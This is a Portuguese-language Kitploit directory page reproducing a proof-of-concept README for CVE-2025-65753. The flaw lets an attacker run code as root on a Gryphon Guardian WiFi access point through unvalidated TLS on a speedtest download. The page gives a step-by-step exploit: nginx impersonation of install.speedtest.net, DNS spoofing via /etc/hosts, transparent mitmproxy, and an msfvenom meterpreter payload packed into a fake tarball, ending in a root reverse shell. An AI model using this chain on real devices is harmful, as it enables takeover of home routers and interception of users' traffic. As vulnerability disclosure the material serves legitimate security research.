Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-65753 — CVE-2025-65753 PoC | Kitploit
Ferramentas/GitHubGitHub/diegovargasj/cve-2025-65753
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubdiegovargasj/cve-2025-65753

CVE-2025-65753

CVE-2025-65753 PoC

Ver Repositório
há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-65753

Prova de conceito para CVE-2025-65753: Execução remota de código no ponto de acesso Gryphon Guardian, versão de firmware 01.06.0006.22, através de uma validação inadequada de certificado TLS.

Descrição

O ponto de acesso WiFi Gryphon Guardian, com versão de firmware 01.06.0006.22, não valida corretamente o certificado TLS de um cliente speedtest de internet baixado após ser solicitado através do aplicativo. Esta falha permite que um invasor intercepte e manipule a comunicação, injetando no cliente código malicioso que é posteriormente executado como root pelo ponto de acesso.

PoC

Existem 2 maneiras de explorar esta vulnerabilidade:

  • Através de um ataque MitM, interceptando diretamente a comunicação entre o ponto de acesso e o servidor
  • Falsificando respostas DNS e se passando pelo servidor

Para os fins desta PoC, o tráfego do ponto de acesso está sendo roteado através do computador do atacante (basicamente um ataque MitM), fazendo a ponte entre 2 interfaces de rede, conforme mostrado neste diagrama.

Diagram

Para fazer isso, enquanto também redireciona o tráfego TCP para a porta local 9900 para análise, usei minha própria ferramenta: https://github.com/diegovargasj/bridge-interfaces

Bridge Interfaces

Em seguida, usei a ferramenta certmitm do aapooksman (https://github.com/aapooksman/certmitm) para analisar conexões TLS e implantar automaticamente múltiplos ataques para testar a validação do certificado. Isso revela várias falhas em vários servidores. O que me chamou a atenção foi o download do cliente speedtest de https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz que pode ser interceptado com um simples certificado autoassinado.

certmitm

O tarball contém um ELF compilado para ARM de 32 bits, que claramente é baixado, descompactado e executado pelo dispositivo.

Downloaded file

O dispositivo não valida o certificado TLS quanto à autenticidade, já que ele aceita prontamente um certificado autoassinado simples. Assim, ao implantar um servidor HTTPS e falsificar respostas DNS para install.speedtest.net, você pode servir qualquer executável de sua escolha. Para fazer isso, basta usar a seguinte configuração do nginx:

root@kitploit:~
server {
    listen 443 ssl default_server;
    server_name install.speedtest.net;

    ssl_certificate /path/to/self_signed_cert.pem;
    ssl_certificate_key /path/to/self_signed_key.pem;

    root /path/to/webroot;
}

Em seguida, adicione a seguinte linha ao seu arquivo /etc/hosts, para falsificar respostas DNS através do dnsmasq.

root@kitploit:~
192.168.0.15    install.speedtest.net

Finalmente, reinicie o script bridge-interfaces.sh, mate o certmitm.py e execute o mitmproxy:

root@kitploit:~
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k

Agora só precisamos do payload. Como o ponto de acesso tem python instalado, um simples script meterpreter será suficiente. Crie o script com msfvenom:

msfvenom

Substitua o ELF original do cliente speedtest por um script bash para chamar o payload:

root@kitploit:~
python payload.py

E empacote-o em um tarball, com o caminho adequado para que corresponda à requisição web para https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz:

root@kitploit:~
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py

Agora configuramos o listener do meterpreter. Após chamar o speedtest a partir do aplicativo Gryphon, obtemos o reverse shell como root.

Meterpreter

E podemos executar comandos arbitrários dentro do ponto de acesso.

Reverse shell

Baixar ferramenta